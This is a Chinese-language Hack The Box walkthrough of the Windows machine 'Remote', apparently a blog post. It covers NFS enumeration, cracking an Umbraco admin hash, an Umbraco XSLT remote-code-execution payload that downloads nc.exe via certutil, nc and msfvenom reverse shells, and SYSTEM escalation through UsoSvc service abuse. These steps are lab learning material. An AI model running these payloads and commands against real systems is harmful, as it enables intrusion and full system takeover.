Hack The Box - Remote

概述

目标主机是一台windows服务器,上面部署了一个web站点,对外开放了21、80、445、2049等,先利用目标机器开放的nfs获取信息,发现共享目录下面有一个日志文件中记录了疑似口令的hash,通过彩虹表获取到明文密码,然后通过获取到的信息得知web网站的CMS是Umbraco,查询版本号发现有一个RCE的漏洞,利用漏洞获取一个反弹shell,进一步发现该账号可以修改UsoSvc服务,进而通过该服务获取提权的反弹shell

信息收集

root@vultr:~# nmap -sV -sC 10.10.10.180
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-26 06:23 UTC
Nmap scan report for 10.10.10.180
Host is up (0.072s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3         2049/udp  nfs
|   100003  2,3,4       2049/tcp  nfs
|   100005  1,2,3       2049/tcp  mountd
|   100005  1,2,3       2049/udp  mountd
|   100021  1,2,3,4     2049/tcp  nlockmgr
|   100021  1,2,3,4     2049/udp  nlockmgr
|   100024  1           2049/tcp  status
|_  100024  1           2049/udp  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3m53s, deviation: 0s, median: 3m53s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-05-26 06:28:48
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.42 seconds

从扫描结果看到目标主机开放了nfs服务,nfs工具查看目标目录并挂载到本机

apt install nfs-common

root@vultr:~# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
root@vultr:~# mount -t nfs 10.10.10.180:/site_backups /htb
root@vultr:~# ls -l /htb
total 115
drwx------ 2 nobody 4294967294    64 Feb 20 17:16 App_Browsers
drwx------ 2 nobody 4294967294  4096 Feb 20 17:17 App_Data
drwx------ 2 nobody 4294967294  4096 Feb 20 17:16 App_Plugins
drwx------ 2 nobody 4294967294  8192 Feb 20 17:16 Config
-rwx------ 1 nobody 4294967294    89 Nov  1  2018 Global.asax
drwx------ 2 nobody 4294967294  4096 Feb 20 17:16 Media
drwx------ 2 nobody 4294967294  8192 Feb 20 17:16 Umbraco
drwx------ 2 nobody 4294967294  4096 Feb 20 17:16 Umbraco_Client
drwx------ 2 nobody 4294967294  4096 Feb 20 17:16 Views
-rwx------ 1 nobody 4294967294 28539 Feb 20 05:57 Web.config
drwx------ 2 nobody 4294967294    64 Feb 20 17:16 aspnet_client
drwx------ 2 nobody 4294967294 49152 Feb 20 17:16 bin
drwx------ 2 nobody 4294967294    64 Feb 20 17:16 css
-rwx------ 1 nobody 4294967294   152 Nov  1  2018 default.aspx
drwx------ 2 nobody 4294967294    64 Feb 20 17:16 scripts

通过一番查看,最终在App_Data下面的Umbraco.sdf里面找到疑似admin账号和口令

root@vultr:/htb/App_Data# strings Umbraco.sdf |grep admin
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f

从上面的信息看b8be16afba8c314ad33d812f22a04991b90e2aaa应该是sha1,随便找个sha1破解的网站查一下,发现原始信息就是baconandcheese,简单验证一下发现这个账号应该是一个应用账号,没法直接登录OS
从获取到的信息可以知道,目标机器使用的CMS是Umbraco,google一下发现一个Umbraco RCE漏洞的PoC,修改里面的Payload,先把nc.exe下载过去

payload = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml()
{ string cmd = "/c certutil -urlcache -split -f http://10.10.14.94/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();
 proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; 
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); } 
 </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
 </xsl:template> 
</xsl:stylesheet> """;

执行,nc成功下载到目标机器

root@vultr:~# python3 umb.py
Start
[]
<div id="result"><?xml version="1.0" encoding="utf-16"?>****  Online  ****
  0000  ...
  8eb0
CertUtil: -URLCache command completed successfully.
</div>
End

然后在本机开启nc监听4444端口准备接收反弹shell

nc -lvnp 4444

接下来修改payload,让目标机器执行nc启动反弹shell,修改payload中的命令部分,再次执行

/c c:/windows/temp/nc.exe 10.10.14.94 4444 -e cmd.exe

获取到反弹shell

root@vultr:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.94] from (UNKNOWN) [10.10.10.180] 49767
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

权限提升

收集目标主机信息,这里使用PowerUp.ps1

c:\Users\Public>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Public> . ./PowerUp.ps1
. ./PowerUp.ps1
PS C:\Users\Public> invoke-allchecks
invoke-allchecks

[*] Running Invoke-AllChecks


[*] Checking if user is in a local group with administrative privileges...


[*] Checking for unquoted service paths...


[*] Checking service executable and argument permissions...


[*] Checking service permissions...


ServiceName   : UsoSvc
Path          :  C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True

看到返回信息提示我们可以利用UsoSvc的漏洞,这个通过这种方式我们可以让UsoSvc服务加载任意可执行程序,进而达成反弹shell的目的。
先尝试Invoke-ServiceAbuse -Name 'UsoSvc' -Command "c:\windows\temp\nc.exe -e cmd.exe 10.10.14.94 2222"不知道为啥不起作用,于是还是用msfvenom制作一个payload

sfvenom -p windows/shell_reverse_tcp lhost=10.10.14.94 lport=2222 -f exe >re.exe

本地先起一个nc监听2222端口,准备接收反弹shell,然后把re.exe上传到目标主机,然后在目标机器上修改usosvc配置,并重启服务

c:\Users\Public>sc config usosvc binpath="c:\windows\temp\re.exe"
sc config usosvc binpath="c:\windows\temp\re.exe"
[SC] ChangeServiceConfig SUCCESS

c:\Users\Public>sc stop usosvc
sc stop usosvc
[SC] ControlService FAILED 1062:

The service has not been started.


c:\Users\Public>sc start usosvc
sc start usosvc

此时本机接收到反弹shell

root@vultr:~# nc -lvnp 2222
listening on [any] 2222 ...
connect to [10.10.14.94] from (UNKNOWN) [10.10.10.180] 49779
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is BE23-EB3E

 Directory of c:\users\administrator\desktop

02/20/2020  03:41 AM    <DIR>          .
02/20/2020  03:41 AM    <DIR>          ..
05/26/2020  12:38 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  19,239,432,192 bytes free

推荐阅读更多精彩内容

  • 概述 目标主机是一台Windows机器,开放了445、53等端口,没有部署web应用,所以渗透主要思路从SMB的弱...
    半夜菊花茶阅读 141评论 0 0
  • 提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...
    皮蛋是个臭蛋阅读 229评论 0 2
  • 黑色的海岛上悬着一轮又大又圆的明月,毫不嫌弃地把温柔的月色照在这寸草不生的小岛上。一个少年白衣白发,悠闲自如地倚坐...
    小水Vivian阅读 1,462评论 1 5
  • 渐变的面目拼图要我怎么拼? 我是疲乏了还是投降了? 不是不允许自己坠落, 我没有滴水不进的保护膜。 就是害怕变得面...
    闷热当乘凉阅读 2,409评论 0 11
  • 感觉自己有点神经衰弱,总是觉得手机响了;屋外有人走过;每次妈妈不声不响的进房间突然跟我说话,我都会被吓得半死!一整...
    章鱼的拥抱阅读 735评论 1 4